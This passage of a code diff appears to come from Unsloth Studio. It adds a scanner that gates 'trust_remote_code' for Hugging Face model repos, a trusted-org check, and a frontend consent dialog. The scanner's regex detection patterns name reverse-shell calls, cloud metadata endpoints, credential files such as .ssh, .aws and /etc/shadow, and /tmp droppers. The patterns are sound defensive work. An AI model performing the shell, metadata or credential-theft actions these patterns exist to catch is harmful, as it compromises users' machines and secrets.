r"|\b__import__\s*\([^)]*\+", + re.DOTALL, + ), + "loads-and-executes-remote-code", + CRITICAL, + ), + ( + re.compile( + r"\bsocket\b.*\bconnect\b.*\bsubprocess\b" + r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b" + r"|\bpty\s*\.\s*spawn\b|\bos\s*\.\s*dup2\s*\(", + re.DOTALL, + ), + "reverse/bind-shell", + CRITICAL, + ), + ( + re.compile( + r"169\.254\.169\.254|metadata\.google\.internal|/latest/meta-data" + r"|/metadata/identity|169\.254\.170\.2" + ), + "cloud-metadata/IMDS-access", + CRITICAL, + ), + ( + re.compile( + r"(?:open|Path|read_text|read_bytes)\s*\([^)]*?" + r"(?:\.ssh[/\\]|\.aws[/\\]|\.kube[/\\]|\.gnupg[/\\]|id_rsa|id_ed25519" + r"|credentials\.json|\.git-credentials|\.npmrc|\.pypirc|/etc/shadow)" + r"|(?:open|Path)\(\s*['\"]\.env['\"]\s*[,)]", + re.DOTALL, + ), + "credential-file-access", + CRITICAL, + ), + ( + re.compile(r"/tmp/\S+.*(?:subprocess|os\.system|os\.popen|Popen|chmod.*\+x)", re.DOTALL), + "tmp-staged-dropper", + CRITICAL, + ), + ( + re.compile(r"\bopenssl\s+(enc|rand|rsautl|pkeyutl|genrsa|dgst|s_client)\b"), + "openssl-cli-exfil", + HIGH, + ), + ( + re.compile( + r"\bsubprocess\s*\.\s*(Popen|call|run|check_call|check_output)\b" + r"|\bos\s*\.\s*(system|popen|exec[lv]p?e?)\b" + ), + "subprocess/os-exec", + HIGH, + ), + # Bare exec()/eval() only; the (? Optional[str]: + if not self.findings: + return None + return min((f.severity for f in self.findings), key = lambda s: _SEVERITY_ORDER[s]) + + @property + def clean(self) -> bool: + return not self.findings + + def summary(self) -> str: + if self.clean: + return "no suspicious patterns found" + by = {} + for f in self.findings: + by.setdefault(f.severity, set()).add(f.check) + parts = [] + for sev in (CRITICAL, HIGH, MEDIUM): + if sev in by: + parts.append(f"{sev}: {', '.join(sorted(by[sev]))}") + return "; ".join(parts) + + def findings_payload(self) -> list[dict]: + """Structured findings for the UI: one record per match, with line + snippet.""" + return [ + { + "severity": f.severity, + "file": f.filename, + "check": f.check, + "evidence": f.evidence, + "line": f.line, + "snippet": f.snippet, + } + for f in self.findings + ] + + +# Canonical scanner: import scripts/scan_packages.py by file path (scripts/ is not an +# importable package from the backend root). It imports only stdlib at module level and +# guards its CLI under __main__, so importing it is side-effect-free. +_CANON_SENTINEL = object() +_canon_cache = _CANON_SENTINEL + + +def _load_canonical_scanner(): + """Return the ``scripts/scan_packages.py`` module, or None if unavailable.""" + global _canon_cache + if _canon_cache is not _CANON_SENTINEL: + return _canon_cache + + module = None + # Walk up from this file to a repo root that contains scripts/scan_packages.py. + here = pathlib.Path(__file__).resolve() + for parent in here.parents: + candidate = parent / "scripts" / "scan_packages.py" + if candidate.is_file(): + try: + spec = importlib.util.spec_from_file_location("unsloth_scan_packages", candidate) + mod = importlib.util.module_from_spec(spec) + sys.modules.setdefault("unsloth_scan_packages", mod) + spec.loader.exec_module(mod) # type: ignore[union-attr] + if hasattr(mod, "check_py_file"): + module = mod + except Exception as exc: # pragma: no cover - defensive + logger.warning("Could not load canonical scan_packages.py: %s", exc) + break + + if module is None: + logger.warning( + "scripts/scan_packages.py not found; remote-code scan using the " + "vendored fallback patterns." + ) + _canon_cache = module + return module + + +# Model-context-strict patterns. The canonical scanner only flags bare +# ``subprocess``/``eval`` in combinations (common in package build scripts), but a +# model's modeling_*.py never legitimately shells out, so the gate flags them alone +# (e.g. a bare ``subprocess.Popen`` in a config ``__init__``). +_MODEL_STRICT_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = ( + ( + re.compile( + r"\bsubprocess\s*\.\s*(Popen|call|run|check_call|check_output)\b" + r"|\bos\s*\.\s*(system|popen|exec[lv]p?e?)\b" + ), + "subprocess/os-exec (model code)", + HIGH, + ), + # Bare exec()/eval(); excludes attribute calls like torch ``module.eval()``. + (re.compile(r"(?: " by _extract_evidence. +_EVIDENCE_LINE_RE = re.compile(r"^L(\d+):") + + +def _snippet_rows( + content: str, + line: int, + col: Optional[int] = None, + match_len: int = 0, +) -> list[dict]: + """A `±_SNIPPET_CONTEXT`-line window around `line` (1-based). Rows are + {number, text, is_match}; the matched row adds match_start/match_end for an inline + highlight when a precise column span is known.""" + lines = content.splitlines() + if not lines or line < 1: + return [] + line = min(line, len(lines)) + lo = max(1, line - _SNIPPET_CONTEXT) + hi = min(len(lines), line + _SNIPPET_CONTEXT) + rows: list[dict] = [] + for n in range(lo, hi + 1): + text = lines[n - 1] + clipped = len(text) > _SNIPPET_MAX_LINE + if clipped: + text = text[:_SNIPPET_MAX_LINE] + " ..." + row = {"number": n, "text": text, "is_match": n == line} + if n == line and col is not None and match_len > 0 and not clipped: + row["match_start"] = col + row["match_end"] = min(col + match_len, len(text)) + rows.append(row) + return rows + + +def _attach_location( + content: str, + finding: Finding, + match: "Optional[re.Match]" = None, +) -> None: + """Populate finding.line + finding.snippet. A regex match gives a precise + line+column; canonical findings are located via the `L:` prefix in their evidence.""" + if match is not None: + before = content[: match.start()] + line = before.count("\n") + 1 + col = match.start() - (before.rfind("\n") + 1) + finding.line = line + finding.snippet = _snippet_rows(content, line, col, match.end() - match.start()) + return + first = finding.evidence.splitlines()[0] if finding.evidence else "" + tag = _EVIDENCE_LINE_RE.match(first) + if tag: + line = int(tag.group(1)) + finding.line = line + finding.snippet = _snippet_rows(content, line) + + +def _scan_content(content: str, filename: str) -> list[Finding]: + findings: list[Finding] = [] + + canon = _load_canonical_scanner() + if canon is not None: + # Canonical Finding is (severity, package, filename, check, evidence); adapt to + # the gate's (severity, filename, check, evidence). + for f in canon.check_py_file(content, filename, ""): + finding = Finding(f.severity, f.filename, f.check, (f.evidence or "")[:120]) + _attach_location(content, finding) + findings.append(finding) + else: + for pat, check, sev in _FALLBACK_PATTERNS: + m = pat.search(content) + if m: + finding = Finding(sev, filename, check, m.group(0)[:120]) + _attach_location(content, finding, m) + findings.append(finding) + + # Augment with the model-context-strict patterns the package scanner omits. + have = {f.check for f in findings} + for pat, check, sev in _MODEL_STRICT_PATTERNS: + if check in have: + continue + m = pat.search(content) + if m: + finding = Finding(sev, filename, check, m.group(0)[:120]) + _attach_location(content, finding, m) + findings.append(finding) + return findings + + +def scan_remote_code_files(files: dict[str, str]) -> ScanResult: + """Scan a mapping of {filename: content} and return aggregated findings.""" + result = ScanResult(fingerprint = remote_code_fingerprint(files)) + for name, content in files.items(): + if not name.endswith(".py"): + continue + result.findings.extend(_scan_content(content or "", name)) + return result + + +def remote_code_fingerprint(files: dict[str, str]) -> str: + """Stable sha256 over the (sorted) file contents, for pinning consent.""" + h = hashlib.sha256() + for name in sorted(files): + h.update(name.encode("utf-8")) + h.update(b"\0") + h.update((files[name] or "").encode("utf-8")) + h.update(b"\0") + return h.hexdigest() + + +def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> dict[str, str]: + """Download a repo's executable ``.py`` (auto_map targets + modeling/config). + + Returns {filename: content}. An EMPTY dict means the repo ships no executable ``.py`` + (trust_remote_code is a no-op). Raises ``RemoteCodeUnscannable`` when code is present + but cannot be fully fetched/listed (offline/gated/404/listing failure), so the caller + fails closed rather than fingerprint a partial view of code transformers would run in + full. The empty-vs-raise split lets the gate allow a code-free repo while still + blocking unscannable code. + """ + import json + from pathlib import Path + + files: dict[str, str] = {} + try: + from utils.paths import is_local_path, normalize_path + + if is_local_path(model_name): + root = Path(normalize_path(model_name)).expanduser() + # Walk ALL .py, not just the auto_map entry's static import closure. This is + # DELIBERATE (see the remote-branch note): the entry can reach a sibling via + # an absolute import, importlib, or exec, which a relative-import closure + # misses, so closure-only scanning is a real bypass. Broad scan never + # under-scans; the cost is a benign script can over-block, the safe direction + # for an RCE gate (HIGH stays approvable; only CRITICAL hard-blocks). + for p in root.rglob("*.py"): + if p.is_file(): + files[str(p.relative_to(root))] = p.read_text(errors = "replace") + # A local config can still point auto_map at an EXTERNAL Hub repo + # (owner/name--module.Class) that executes on load, so fetch it. Every config + # that can declare auto_map is checked, so a custom processor's external code + # is not missed. + ext_refs = set() + for name in REMOTE_CODE_CONFIG_FILES: + p = root / name + if p.is_file(): + try: + ext_refs |= _auto_map_refs(json.loads(p.read_text())) + except Exception: + pass + if not _add_external_refs(files, ext_refs, hf_token, model_name): + raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable") + return files + + from huggingface_hub import hf_hub_download, list_repo_files + from huggingface_hub.utils import EntryNotFoundError + + # Collect auto_map refs from EVERY config that can declare one. A 404 + # (EntryNotFoundError) means the config is absent -> skip; any other failure is + # transient/auth and could hide an auto_map, so fail closed (unscannable). + refs = set() + for cfg_name in REMOTE_CODE_CONFIG_FILES: + try: + cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token) + except EntryNotFoundError: + continue + except Exception as exc: + raise RemoteCodeUnscannable( + f"{model_name}: config {cfg_name} could not be fetched ({exc})" + ) from exc + try: + refs |= _auto_map_refs(json.loads(Path(cfg_path).read_text())) + except Exception: + pass + own_refs = {fn for repo, fn in refs if repo is None} + # The full file list catches helper .py the auto_map code imports but does not + # name. If we cannot list the repo, an imported module could be missed and the + # fingerprint cover less than transformers runs, so fail closed (unscannable). + try: + repo_files = list_repo_files(model_name, token = hf_token) + except Exception as exc: + raise RemoteCodeUnscannable(f"{model_name}: could not list repo files ({exc})") from exc + repo_file_set = set(repo_files) + # Scan every present .py PLUS own-repo auto_map targets that ACTUALLY EXIST in + # this revision. Scanning EVERY .py (not just the closure) is DELIBERATE: the + # entry can reach a sibling via absolute import / importlib / exec, which a + # relative-import closure misses, so closure-only scanning is a real bypass. + # Broad scan never under-scans; the cost is a benign script can over-block, the + # safe direction for an RCE gate (HIGH approvable; only CRITICAL hard-blocks). An + # auto_map target absent from the listing is a STALE ref (an older config naming a + # since-removed file, e.g. unsloth/PaddleOCR-VL names processing_ppocrvl.py but + # ships processing_paddleocr_vl.py). transformers cannot execute an absent file, + # so drop the stale ref rather than fail closed; present .py are still fully + # scanned. This also absorbs a mis-derived dotted name (sub.mod.py vs sub/mod.py): + # the bad name drops as stale while the real present file is scanned. + present_py = {f for f in repo_files if f.endswith(".py")} + stale_refs = own_refs - repo_file_set + for fn in sorted(stale_refs): + logger.info( + "repo_remote_code_files(%s): ignoring stale own-repo auto_map target " + "%s (absent from the repo listing; it cannot execute)", + model_name, + fn, + ) + wanted = present_py | (own_refs & repo_file_set) + for fn in sorted(wanted): + try: + fp = hf_hub_download(model_name, fn, token = hf_token) + except Exception as exc: + # A .py CONFIRMED PRESENT could not be fetched. A partial set would + # fingerprint "clean" while transformers later runs this file, so fail + # closed. (Stale/absent refs were dropped above, so this only fires on a + # present-file fetch failure.) + raise RemoteCodeUnscannable( + f"{model_name}: present file {fn} could not be fetched ({exc})" + ) from exc + files[fn] = Path(fp).read_text(errors = "replace") + # Code referenced from another repo executes too: scan it or fail closed. + if not _add_external_refs(files, refs, hf_token, model_name): + raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable") + except RemoteCodeUnscannable: + logger.warning("repo_remote_code_files(%s): unscannable; failing closed", model_name) + raise + except Exception as exc: + # An unexpected error mid-scan means we could not complete it -> unscannable. + raise RemoteCodeUnscannable(f"{model_name}: scan failed ({exc})") from exc + # An empty dict here means the listing succeeded and the repo ships no executable .py + # (nor fetchable external refs) -> trust_remote_code is a no-op for the caller. + return files + + +def _iter_auto_map_strings(value): + """Yield every string class-ref inside one ``auto_map`` value. + + A value is a bare string (``"modeling_x.Cls"``) or a list/tuple (transformers encodes + a tokenizer as ``"AutoTokenizer": [slow, fast]``, possibly nested or with nulls). + Flatten all forms so external tokenizer code in the list shape is scanned. + """ + if isinstance(value, str): + yield value + elif isinstance(value, (list, tuple, set)): + for item in value: + yield from _iter_auto_map_strings(item) + elif isinstance(value, dict): + for item in value.values(): + yield from _iter_auto_map_strings(item) + + +def _auto_map_refs(cfg: dict) -> set: + """``(repo, filename)`` pairs referenced by config auto_map. + + ``repo`` is ``None`` for own-repo code. An external ``owner/name--module.Class`` ref + (transformers' cross-repo form) yields ``("owner/name", "module.py")`` so cross-repo + code is scanned + fingerprinted too. + """ + out = set() + am = cfg.get("auto_map") or {} + if isinstance(am, dict): + for value in am.values(): + # A value may be a string OR a [slow, fast] list (tokenizers); cover both. + for ref in _iter_auto_map_strings(value): + # ref like "modeling_deepseekocr.Cls" or "owner/name--modeling.Cls" + if "." not in ref: + continue + module = ref.rsplit(".", 1)[0] # drop trailing .ClassName + if "--" in module: + repo, mod = module.split("--", 1) + out.add((repo or None, mod + ".py")) + else: + out.add((None, module + ".py")) + return out + + +def _auto_map_py(cfg: dict) -> set[str]: + """Own-repo ``.py`` filenames referenced by auto_map (external refs excluded).""" + return {fn for repo, fn in _auto_map_refs(cfg) if repo is None} + + +def external_auto_map_repos(model_name: str, hf_token: Optional[str] = None) -> set: + """External Hub repos referenced by any of this model's auto_map configs. + + The ``owner/name`` repos ``_add_external_refs`` downloads. The scan route uses this so + declining consent purges them too, not leaving untrusted external code cached. + Best-effort, config/metadata-only: returns whatever can be read, never raises. + """ + repos: set = set() + try: + import json + from pathlib import Path + + from utils.paths import is_local_path, normalize_path + + if is_local_path(model_name): + root = Path(normalize_path(model_name)).expanduser() + for cfg_name in REMOTE_CODE_CONFIG_FILES: + p = root / cfg_name + if not p.is_file(): + continue + try: + refs = _auto_map_refs(json.loads(p.read_text())) + except Exception: + continue + repos.update(repo for repo, _fn in refs if repo) + return repos + + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError + + for cfg_name in REMOTE_CODE_CONFIG_FILES: + try: + cfg_path = hf_hub_download(model_name, cfg_name, token = hf_token) + except EntryNotFoundError: + continue + except Exception: + continue + try: + refs = _auto_map_refs(json.loads(Path(cfg_path).read_text())) + except Exception: + continue + repos.update(repo for repo, _fn in refs if repo) + except Exception: + return repos + return repos + + +def _add_external_refs(files: dict, refs, hf_token, model_name: str) -> bool: + """Download external-repo auto_map code into ``files`` (keyed ``repo--file``). + + transformers fetches the entry file AND its relative imports from the same external + repo, so scanning only the entry would miss code in a ``helper.py`` it imports. Mirror + the own-repo path: enumerate each external repo's ``.py`` and scan the whole set (plus + the referenced entry files). Returns False if any external repo cannot be listed or a + file cannot be fetched, so the caller fails closed. + """ + from pathlib import Path + + from huggingface_hub import hf_hub_download, list_repo_files + + # Group the explicit entry refs by external repo. + entries: dict = {} + for repo, fn in refs: + if repo is None: + continue + entries.setdefault(repo, set()).add(fn) + + for repo, entry_files in entries.items(): + try: + repo_files = list_repo_files(repo, token = hf_token) + except Exception as exc: + logger.warning( + "repo_remote_code_files(%s): external repo %s unlistable (%s); failing closed", + model_name, + repo, + exc, + ) + return False + # The loader's executable closure = every present .py plus any referenced entry + # file. With a REAL (non-empty) listing, present_py covers the code, so an entry + # ref absent from it is stale/mis-derived and is dropped rather than failing + # closed (like the own-repo path). With an EMPTY listing we cannot prove the ref + # stale, so keep fetching it and fail closed if unreachable; never under-scan. A + # PRESENT file that cannot be fetched still fails closed below. + repo_file_set = set(repo_files) + present_py = {f for f in repo_files if f.endswith(".py")} + if repo_file_set: + for fn in sorted(set(entry_files) - repo_file_set): + logger.info( + "repo_remote_code_files(%s): ignoring stale external auto_map target " + "%s:%s (absent from the repo listing; it cannot execute)", + model_name, + repo, + fn, + ) + wanted = present_py | (set(entry_files) & repo_file_set) + else: + wanted = present_py | set(entry_files) + for fn in sorted(wanted): + try: + fp = hf_hub_download(repo, fn, token = hf_token) + except Exception as exc: + logger.warning( + "repo_remote_code_files(%s): external %s:%s unscannable (%s)", + model_name, + repo, + fn, + exc, + ) + return False + files[f"{repo}--{fn}"] = Path(fp).read_text(errors = "replace") + return True diff --git a/studio/backend/utils/security/trusted_org.py b/studio/backend/utils/security/trusted_org.py new file mode 100644 index 0000000000..968a740eea --- /dev/null +++ b/studio/backend/utils/security/trusted_org.py @@ -0,0 +1,120 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Trusted-org checks for the ``trust_remote_code`` auto-enable paths. + +A bare ``name.startswith("unsloth/")`` is spoofable by a local path like +``./unsloth/evil``. ``is_trusted_org_repo`` rejects local paths, requires an +``org/repo`` under a trusted org, and (online) confirms via the Hub. Fails CLOSED +on any uncertainty and never raises; a False just means "do not auto-enable". +""" + +from __future__ import annotations + +import hashlib +import os +from typing import Optional + +from loggers import get_logger +from utils.paths import is_local_path + +logger = get_logger(__name__) + +# Orgs we auto-enable remote code for. +TRUSTED_ORGS: frozenset[str] = frozenset({"unsloth", "nvidia"}) + +# Keyed on (name, verify_remote, token) so an unauthenticated failure can't poison +# a later authenticated lookup; token is hashed, never stored raw. +_verdict_cache: dict[tuple[str, bool, str], bool] = {} + + +def _token_key(hf_token: Optional[str]) -> str: + """Non-reversible cache discriminator; empty when no token, never the raw token.""" + if not hf_token: + return "" + return hashlib.sha256(hf_token.encode("utf-8")).hexdigest()[:12] + + +def _env_offline() -> bool: + return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get( + "TRANSFORMERS_OFFLINE", "" + ).lower() in ("1", "true", "yes") + + +def is_trusted_org_repo( + name: str, + hf_token: Optional[str] = None, + *, + verify_remote: bool = True, +) -> bool: + """True only if *name* is a genuine HF repo under a trusted org. Fails closed + (local paths, malformed names, untrusted namespaces, Hub errors); never raises. + Offline trusts the namespace shape, since the Hub is unreachable by design. + """ + if not name or not isinstance(name, str): + return False + + cache_key = (name, verify_remote, _token_key(hf_token)) + if cache_key in _verdict_cache: + return _verdict_cache[cache_key] + + verdict = _evaluate(name, hf_token, verify_remote) + _verdict_cache[cache_key] = verdict + return verdict + + +def _namespace(name: str) -> Optional[str]: + """Lowercased org of an ``org/repo`` id, else None.""" + parts = name.split("/") + if len(parts) != 2 or not parts[0] or not parts[1]: + return None + return parts[0].lower() + + +def _evaluate(name: str, hf_token: Optional[str], verify_remote: bool) -> bool: + # Local paths are never a trusted remote repo (the spoof this guards against). + try: + if is_local_path(name): + logger.debug("is_trusted_org_repo(%s): local path -> not trusted", name) + return False + except Exception: + return False + + ns = _namespace(name) + if ns is None or ns not in TRUSTED_ORGS: + return False + + # Offline: trust the shape (Hub intentionally unreachable). + if not verify_remote or _env_offline(): + return True + + # Online: confirm the id resolves to a trusted-org repo. + try: + from huggingface_hub import HfApi + + info = HfApi().model_info(name, token = hf_token) + resolved_id = getattr(info, "id", None) or name + resolved_ns = _namespace(resolved_id) + author = getattr(info, "author", None) + if resolved_ns in TRUSTED_ORGS: + return True + if author and str(author).lower() in TRUSTED_ORGS: + return True + logger.warning( + "is_trusted_org_repo(%s): resolved id %r not under a trusted org", + name, + resolved_id, + ) + return False + except Exception as exc: # network/404/auth -> fail closed + logger.warning( + "is_trusted_org_repo(%s): Hub verification failed (%s) -> not trusted", + name, + exc, + ) + return False + + +def clear_cache() -> None: + """Test helper: drop the memoized verdicts.""" + _verdict_cache.clear() diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py index 87a6726d33..a20fefbc39 100644 --- a/studio/backend/utils/transformers_version.py +++ b/studio/backend/utils/transformers_version.py @@ -111,8 +111,8 @@ _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = { # Cache for dynamic tokenizer_config.json lookups (avoids repeated fetches). _tokenizer_class_cache: dict[str, bool] = {} -# Cache for dynamic config.json lookups (architecture/model_type checks). -_config_json_cache: dict[str, dict | None] = {} +# config.json cache keyed on (model_name, token-hash) so authed/unauthed reads stay separate. +_config_json_cache: dict[tuple[str, str | None], dict | None] = {} _config_needs_510_cache: dict[str, bool] = {} _config_needs_550_cache: dict[str, bool] = {} @@ -328,39 +328,51 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool: return False -def _load_config_json(model_name: str) -> dict | None: - """Return parsed ``config.json`` for *model_name*, checking local files first.""" - if model_name in _config_json_cache: - return _config_json_cache[model_name] +def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | None: + """Return parsed ``config.json`` for *model_name*, checking local files first. + + ``hf_token`` authenticates the raw fetch so gated/private repos resolve. The + cache is keyed on the token so an unauthenticated miss never poisons a later + authenticated read. + """ + import hashlib + + tok = hashlib.sha256(hf_token.encode()).hexdigest()[:16] if hf_token else None + cache_key = (model_name, tok) + if cache_key in _config_json_cache: + return _config_json_cache[cache_key] local_cfg = Path(model_name) / "config.json" if local_cfg.is_file(): try: with open(local_cfg) as f: cfg = json.load(f) - _config_json_cache[model_name] = cfg + _config_json_cache[cache_key] = cfg return cfg except Exception as exc: logger.debug("Could not read %s: %s", local_cfg, exc) - _config_json_cache[model_name] = None + _config_json_cache[cache_key] = None return None if _env_offline(): - _config_json_cache[model_name] = None + _config_json_cache[cache_key] = None return None import urllib.request url = f"https://huggingface.co/{model_name}/raw/main/config.json" + headers = {"User-Agent": "unsloth-studio"} + if hf_token: + headers["Authorization"] = f"Bearer {hf_token}" try: - req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-studio"}) + req = urllib.request.Request(url, headers = headers) with urllib.request.urlopen(req, timeout = 10) as resp: cfg = json.loads(resp.read().decode()) - _config_json_cache[model_name] = cfg + _config_json_cache[cache_key] = cfg return cfg except Exception as exc: logger.debug("Could not fetch config.json for '%s': %s", model_name, exc) - _config_json_cache[model_name] = None + _config_json_cache[cache_key] = None return None diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx index 7fb9380037..77b819aa63 100644 --- a/studio/frontend/src/app/routes/__root.tsx +++ b/studio/frontend/src/app/routes/__root.tsx @@ -6,6 +6,7 @@ import { Navbar } from "@/components/navbar"; import { fetchDeviceType, usePlatformStore } from "@/config/env"; import { SidebarInset, SidebarProvider } from "@/components/ui/sidebar"; import { SettingsDialog, useSettingsDialogStore } from "@/features/settings"; +import { RemoteCodeConsentDialog } from "@/features/security"; import { clearNewChatDraft, useChatRuntimeStore } from "@/features/chat"; import { useTrainingUnloadGuard } from "@/features/training"; import { useSidebarPin } from "@/hooks/use-sidebar-pin"; @@ -142,6 +143,7 @@ function RootLayout() { return ( + {hideNavbar ? (
}> diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts index 96cb1473bd..91bfe56120 100644 --- a/studio/frontend/src/features/chat/api/chat-adapter.ts +++ b/studio/frontend/src/features/chat/api/chat-adapter.ts @@ -1215,7 +1215,12 @@ async function autoLoadSmallestModel(): Promise<{ load_in_4bit: true, trust_remote_code: trustRemoteCode, }); - if (validation.requires_trust_remote_code && !trustRemoteCode) { + // Background auto-load never runs a repo's custom code or loads Hub-flagged unsafe + // files on its own; both are deferred to the explicit consent dialog instead. + if ( + validation.requires_trust_remote_code || + validation.requires_security_review + ) { blockedByTrustRemoteCode = true; return false; } @@ -1567,11 +1572,11 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter { if (!loaded) { toast.error( blockedByTrustRemoteCode - ? "Enable custom code to auto-load this model" + ? "This model needs custom code approval" : "No model loaded", { description: blockedByTrustRemoteCode - ? 'Turn on "Enable custom code" in Chat Settings, or pick another model in the top bar.' + ? "Select it from the top bar to review and approve its custom code, or pick another model." : "Pick a model in the top bar, then retry.", }, ); diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx index 7e5b92ffb6..b10c50262d 100644 --- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx +++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx @@ -530,9 +530,6 @@ export function ChatSettingsPanel({ const loadedSpecDraftNMax = useChatRuntimeStore( (s) => s.loadedSpecDraftNMax, ); - const modelRequiresTrustRemoteCode = useChatRuntimeStore( - (s) => s.modelRequiresTrustRemoteCode, - ); const currentCheckpoint = params.checkpoint; const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength); const ggufMaxContextLength = useChatRuntimeStore( @@ -635,10 +632,6 @@ export function ChatSettingsPanel({ [activePreset, hasUnsavedPresetChanges, presetNameInput, presets], ); const systemPromptEditorDirty = systemPromptDraft !== params.systemPrompt; - const trustRemoteCodeMissing = - Boolean(currentCheckpoint) && - modelRequiresTrustRemoteCode && - !(params.trustRemoteCode ?? false); const showPromptCacheTtlControl = Boolean( activeExternalProvider && supportsProviderPromptCacheTtl(activeExternalProvider.providerType), @@ -1094,38 +1087,8 @@ export function ChatSettingsPanel({ )} - {!isGguf && params.checkpoint && ( - <> -
-
- - Enable custom code - - - Run custom Python from the model repo (e.g. Nemotron). - Only enable for trusted sources. - -
- -
- {trustRemoteCodeMissing && ( - - - Keep custom code enabled for this model - - - This model requires custom code to load. You can edit the - toggle, but loading will stay blocked until it is turned - back on. - - - )} - - )} + {/* No persistent "enable custom code" toggle: it is consented per model + via the load-time review dialog. */} {/* Apply/Reset belongs to the model-reload settings above (context length, KV cache, speculative decoding). Render it here, before the Chat Template row, so it never reads as attached to Chat diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts index a948d9e39d..7bb8d71a71 100644 --- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts +++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts @@ -3,6 +3,7 @@ import { createElement, useCallback, useRef, useState } from "react"; import { toast } from "@/lib/toast"; +import { confirmRemoteCodeIfNeeded } from "@/features/security"; import { consumeNativePathToken } from "@/features/native-intents/api"; import { notifyNative, @@ -68,6 +69,16 @@ export type SelectedModelInput = { keepSpeculative?: boolean; }; +// Approved fingerprints by checkpoint, so a rollback after a failed switch can resend +// the pinned approval the worker requires instead of being blocked. +const approvedRemoteCodeFingerprints = new Map(); +function rememberApprovedRemoteCode( + checkpoint: string, + fingerprint: string | null, +): void { + if (fingerprint) approvedRemoteCodeFingerprints.set(checkpoint, fingerprint); +} + const MODEL_LOAD_TOAST_CLASSNAMES = { toast: "chat-model-load-toast items-center gap-2.5", content: "gap-0.5 flex-1 min-w-0", @@ -221,7 +232,7 @@ function toLoraSummary(lora: { } function getTrustRemoteCodeRequiredMessage(modelName: string): string { - return `${modelName} needs custom code enabled to load. Turn on "Enable custom code" in Chat Settings, then try again.`; + return `${modelName} was not loaded because its custom code was not approved. Load it again to review the code and approve it.`; } export function useChatModelRuntime() { @@ -481,7 +492,8 @@ export function useChatModelRuntime() { const currentCheckpoint = useChatRuntimeStore.getState().params.checkpoint; const stateBeforeUnload = useChatRuntimeStore.getState(); - const trustRemoteCode = stateBeforeUnload.params.trustRemoteCode ?? false; + let trustRemoteCode = stateBeforeUnload.params.trustRemoteCode ?? false; + let approvedRemoteCodeFingerprint: string | null = null; const maxSeqLength = stateBeforeUnload.params.maxSeqLength; const previousIsGguf = previousModel?.isGguf === true @@ -510,8 +522,25 @@ export function useChatModelRuntime() { is_lora: isLora, gguf_variant: ggufVariant ?? null, }); - if (validation.requires_trust_remote_code && !trustRemoteCode) { - throw new Error(getTrustRemoteCodeRequiredMessage(displayName)); + // Open the consent dialog when the model needs custom-code consent or has a + // flagged unsafe file. Fires even when trustRemoteCode is preset on, since the + // worker requires a matching fingerprint that only the dialog produces. + if ( + validation.requires_trust_remote_code + || validation.requires_security_review + ) { + const approved = await confirmRemoteCodeIfNeeded({ + modelName: modelId, + hfToken, + requiresTrustRemoteCode: true, + onApprove: (fp) => { + trustRemoteCode = true; + approvedRemoteCodeFingerprint = fp; + }, + }); + if (!approved) { + throw new Error(getTrustRemoteCodeRequiredMessage(displayName)); + } } if (abortCtrl.signal.aborted) throw new Error("Cancelled"); const loadNativePathLease = nativePathToken @@ -575,6 +604,7 @@ export function useChatModelRuntime() { is_lora: isLora, gguf_variant: ggufVariant ?? null, trust_remote_code: trustRemoteCode, + approved_remote_code_fingerprint: approvedRemoteCodeFingerprint, chat_template_override: effectiveChatTemplateOverride, cache_type_kv: kvCacheDtype, speculative_type: speculativeType, @@ -646,6 +676,7 @@ export function useChatModelRuntime() { : reloadingSameModel && supportsReasoning ? stateBeforeUnload.reasoningEnabled : reasoningDefault; + rememberApprovedRemoteCode(modelId, approvedRemoteCodeFingerprint); useChatRuntimeStore.setState({ ggufContextLength: nativeCtx, ggufMaxContextLength, @@ -746,6 +777,9 @@ export function useChatModelRuntime() { gguf_variant: previousVariant, trust_remote_code: previousModelRequiresTrustRemoteCode || trustRemoteCode, + // Resend the previous model's pinned approval so restoring it is not re-blocked. + approved_remote_code_fingerprint: + approvedRemoteCodeFingerprints.get(previousCheckpoint) ?? null, // Restore the previous model in the split mode it was running, // not the default layer split. tensor_parallel: stateBeforeUnload.loadedTensorParallel ?? false, diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx index cbfc42c6ae..8ad355344c 100644 --- a/studio/frontend/src/features/chat/shared-composer.tsx +++ b/studio/frontend/src/features/chat/shared-composer.tsx @@ -63,6 +63,7 @@ import { BypassPermissionsMenuItem } from "./bypass-permissions-menu-item"; import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button"; import { NewProjectDialog } from "./components/new-project-dialog"; import { useChatProjects } from "./hooks/use-chat-projects"; +import { confirmRemoteCodeIfNeeded } from "@/features/security"; import { loadModel, validateModel } from "./api/chat-api"; import { parseExternalModelId, @@ -932,24 +933,43 @@ export function SharedComposer({ sel: CompareModelSelection, ): Promise { const currentStore = useChatRuntimeStore.getState(); + let loadTrustRemoteCode = trustRemoteCode; + let approvedRemoteCodeFingerprint: string | null = null; const 